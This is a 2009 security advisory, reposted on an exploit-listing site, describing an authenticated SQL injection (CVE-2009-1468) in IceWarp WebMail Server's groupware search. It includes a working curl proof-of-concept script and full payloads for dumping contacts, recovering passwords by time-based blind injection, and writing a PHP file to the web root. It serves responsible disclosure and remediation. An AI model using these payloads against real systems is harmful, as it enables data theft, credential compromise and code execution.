IceWarp WebMail Server: SQL Injection inGroupware Component

2009.05.06
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


Ogólna skala CVSS: 6.5/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 8/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Jednorazowa
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

Advisory: IceWarp WebMail Server: SQL Injection in Groupware Component During a penetration test RedTeam Pentesting discovered multiple SQL-Injections in the IceWarp WebMail Server. Attackers that are in control of a user account for the web-based email and groupware components are able to execute arbitrary SQL SELECT statements and therefore read any data from the DBMS that are accessible by the Icewarp eMail Server. Details ======= Product: IceWarp eMail Server / WebMail Server Affected Versions: 9.4.1 Fixed Versions: 9.4.2 Vulnerability Type: SQL Injection Security Risk: high Vendor URL: http://www.icewarp.com/ Vendor Status: notified, fixed version released Advisory URL: http://www.redteam-pentesting.de/advisories/rt-sa-2009-003 Advisory Status: published CVE: CVE-2009-1468 CVE URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1468 Introduction ============ "Feature complete yet easy to use, WebMail Server Pro provides feature rich Web 2.0 web-based access to email, calendars, contacts, files and shared data from any computer with browser and internet connection, without the usual configuration hassle. Thanks to advanced technologies and application-like look and feel, Pro suggests it was born to become the ultimate replacement of Outlook and similar desktop mail clients." (from the vendor's homepage) More Details ============ The IceWarp eMail Server's web-based groupware component provides functionality for users to store, for example, contact information, notes, a journal or files. A search form can be used to search for such stored items. When users search, for example, for certain files, using the provided search form, an HTTP POST request containing the search query in XML form is sent from the browser to the PHP script at https://example.com/webmail/server/webmail.php: ----- HTTP POST request ------------------------------------------------ <iq sid="73aaafec4a8db27af49c4c43bca4ac13" uid="1239870305230" type="get" format="json"> <query xmlns="webmail:iq:items"> <account uid="user (at) example (dot) com [email concealed]"> <folder uid="Files"> <item> <values> <evntitle> </evntitle> <evnnote> </evnnote> [..] </values> <filter> <offset>0</offset> <limit>60</limit> <order_by>EVNTYPE asc</order_by> <sql>(EVNTITLE LIKE '%SQL INJECTION TEST%' OR EVNNOTE LIKE '%SQL INJECTION TEST%') </sql> </filter> </item> </folder> </account> </query> </iq> ----- /HTTP POST request ----------------------------------------------- It is evident that SQL expressions are used to find matching items and order the results. Using the information provided within the POST request, two SQL queries are constructed and executed on the database (relevant user-controlled parts marked with a leading ">"): ----- Query 1 ---------------------------------------------------------- Select EVN_ID, EVNRCR_ID, evntitle, evnnote, evnlocation, evnstartdate, evnstarttime, evntype, evncolor, evncomplete From Event Where (EVNGRP_ID = '3a7e072a3002') And ( ( > (EVNTITLE LIKE '%SQL INJECTION TEST%' OR > EVNNOTE LIKE '%SQL INJECTION TEST%') ) AND evnclass <> 'O' ) And (EvnFolder='Files') Order By > EVNLOCATION asc LIMIT 0,45 ----- /Query 1 --------------------------------------------------------- ----- Query 2 ---------------------------------------------------------- Select Count(EVN_ID) As Count_ From Event Where (EVNGRP_ID = '3a7e072a3002') And ( > (EVNTITLE LIKE '%SQL INJECTION TEST%' OR > EVNNOTE LIKE '%SQL INJECTION TEST%') ) And (EvnFolder='Files') ----- /Query 2 --------------------------------------------------------- Data is only returned from the database to the web application when both queries are syntactically correct. Due to a different nesting level of parentheses around the SQL queries' user-manipulable parts, successful (non-blind) SQL injection requires the use of two elements within the original HTTP POST request. The following examples show the two queries that are executed when the <sql> element contains the string "0=1) /* " and the <order_by> element contains the string "*/)--". User input that is active within an SQL query is marked with a ">", user input that begins or ends a comment is marked with a "+", and application-provided query parts that are now commented out are marked with a "|": ----- Query 1a --------------------------------------------------------- Select EVN_ID, EVNRCR_ID, evntitle, evnnote, evnlocation, evnstartdate, evnstarttime, evntype, evncolor, evncomplete From Event Where (EVNGRP_ID = '3a7e072a3002') And ( ( > 0=1) + /* part of the <sql> element | ) AND | evnclass <> 'O' | ) And | (EvnFolder='Files') Order By + part of the <order_by> element */ > )-- LIMIT 0,45 ----- /Query 1a -------------------------------------------------------- ----- Query 2a --------------------------------------------------------- Select Count(EVN_ID) As Count_ From Event Where (EVNGRP_ID = '3a7e072a3002') And ( > 0=1) + /* part of the <sql> element | ) And | (EvnFolder='Files') ----- /Query 2a -------------------------------------------------------- Note that this method requires a DBMS that allows unbalanced C-style (/**/) comments in its SQL syntax, such as SQLite3 or MySQL < 5.0.51. For other DBMS, blind SQL injection into the first SQL query is another option. Proof of Concept ================ The following shell script can be used to construct a valid search request as mentioned above. It expects a valid session ID and corresponding username as commandline arguments, followed by arguments that are inserted into the <order_by> and <sql> elements of the POST request. ----- sql_inject.sh ---------------------------------------------------- #!/bin/sh sid=$1 uid=$2 orderby=$3 if [ -n "$4" ] ; then sql=$4 else sql="1=0)/*" fi curl --silent -d '<iq sid="'$sid'" type="get" format="json"> <query xmlns="webmail:iq:items"> <account uid="'$uid'"> <folder uid="Files"> <item><values><evntitle></evntitle></values> <filter><offset></offset><limit></limit> <order_by>'"$orderby"'</order_by> <sql>'"$sql"'</sql> </filter> </item> </folder> </account> </query> </iq>' https://example.com/webmail/server/webmail.php | perl -pe 's/{/\n/g' | grep "result::" | sed -e 's/^"VALUE":"result:://' -e 's/"}]}],"ATTRIBUTES":$//' ----- /sql_inject.sh --------------------------------------------------- For DBMS that support unbalanced C-Style comments, data can for example be retrieved from the database as follows: $ ./sql_inject.sh 73aaafec4a8db27af49c4c43bca4ac13 user (at) example (dot) com [email concealed] "*/) UNION SELECT random(),'NULL', ('result::'||ItmFirstname||':'||ItmSurname) FROM ContactItem" Joe:Plumber John:Doe Agent:Smith Jane:Doe Joe:User For other DBMS, blind SQL injection is a possibility. The following example illustrates how a password for a certain user account is retrieved on an installation of the IceWarp eMail server that uses a recent version of MySQL for storing user account information: $ time ./sql_inject.sh 73aaafec4a8db27af49c4c43bca4ac13 user (at) example (dot) com [email concealed] "" "1=0)) UNION SELECT 1,2,IF((SELECT COUNT(*) FROM users WHERE U_Mailbox='user' AND U_Password LIKE 'a%'),SLEEP(5),1)-- " real 0m0.334s user 0m0.053s sys 0m0.007s [...] $ time ./sql_inject.sh 73aaafec4a8db27af49c4c43bca4ac13 user (at) example (dot) com [email concealed] "" "1=0)) UNION SELECT 1,2,IF((SELECT COUNT(*) FROM users WHERE U_Mailbox='user' AND U_Password LIKE 't%'),SLEEP(5),1)-- " real 0m5.441s user 0m0.037s sys 0m0.013s [...] $ time ./sql_inject.sh 73aaafec4a8db27af49c4c43bca4ac13 user (at) example (dot) com [email concealed] "" "1=0)) UNION SELECT 1,2,IF((SELECT COUNT(*) FROM users WHERE U_Mailbox='user' AND U_Password LIKE 'test'),SLEEP(5),1)-- " real 0m5.418s user 0m0.040s sys 0m0.010s Depending on the DBMS configuration, creation of arbitrary files and/or code execution might also be possible. The following example illustrates the creation of a PHP script within the web application's root directory using the SELECT .. INTO DUMPFILE functionality provided by MySQL: $ ./sql_inject.sh a3779402b23fa4acdcba6be907521acb user (at) example (dot) com [email concealed] "" "1=0)) UNION SELECT '','','<?php phpinfo();?>' INTO DUMPFILE 'c:/Program Files/Merak/html/webmail/phpinfo.php'-- " Workaround ========== None. Fix === Upgrade to version 9.4.2. Security Risk ============= The risk of this vulnerability is estimated as high. Depending on the IceWarp eMail Server configuration, and configuration of the DBMS used, attackers authenticated to the web application can leverage it to retrieve, for example, users' contacts, notes or journal entries, obtain user credentials, and/or execute arbitrary code. History ======= 2009-03-23 Vulnerabilities identified during a penetration test 2009-04-01 Meeting with customer and vendor 2009-04-28 CVE number assigned 2009-05-05 Vendor publishes fixed version 2009-05-05 Advisory released RedTeam Pentesting GmbH ======================= RedTeam Pentesting is offering individual penetration tests, short pentests, performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately. As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security related areas. The results are made available as public security advisories. More information about RedTeam Pentesting can be found at http://www.redteam-pentesting.de. -- RedTeam Pentesting GmbH Tel.: +49 241 963-1300 Dennewartstr. 25-27 Fax : +49 241 963-1304 52068 Aachen http://www.redteam-pentesting.de/ Germany Registergericht: Aachen HRB 14004 Geschftsfhrer: Patrick Hof, Jens Liebchen, Claus R. F. Overbeck -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iQEVAwUBSgA1dtG/HXWsgFSuAQIg1ggAgBAinePeZpsbRI+Vm98YgHLyIqcKFZ7i f89VD69ZaAbqRRvCuSkrZbo7hgHS2D49Rs5yKZ4ewnU9PEljP2n58/iXRZjEnOF1 S+481VMIU6CMDR6tYGFNK03fSijBFHcHvk8qYSEpQj/rwQTGn5UmJWLWGBj6grQS ukgPjrQb78LGII9fkO5pan4TLbYWh7kszUuniuWAcR3WLffHbpXXQT2Yb0r87lCw CL/YoiM92/4nw9xEPiy93rN4neOCSaLzKUJYb9DOLGpST0B4frdljfltuODzTVqq XZegAsKKkn/buB0tHsU00Bf5WqU5lP7B6zYBb6pdJJMp496Mx5Qr5Q== =CJJe -----END PGP SIGNATURE-----


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top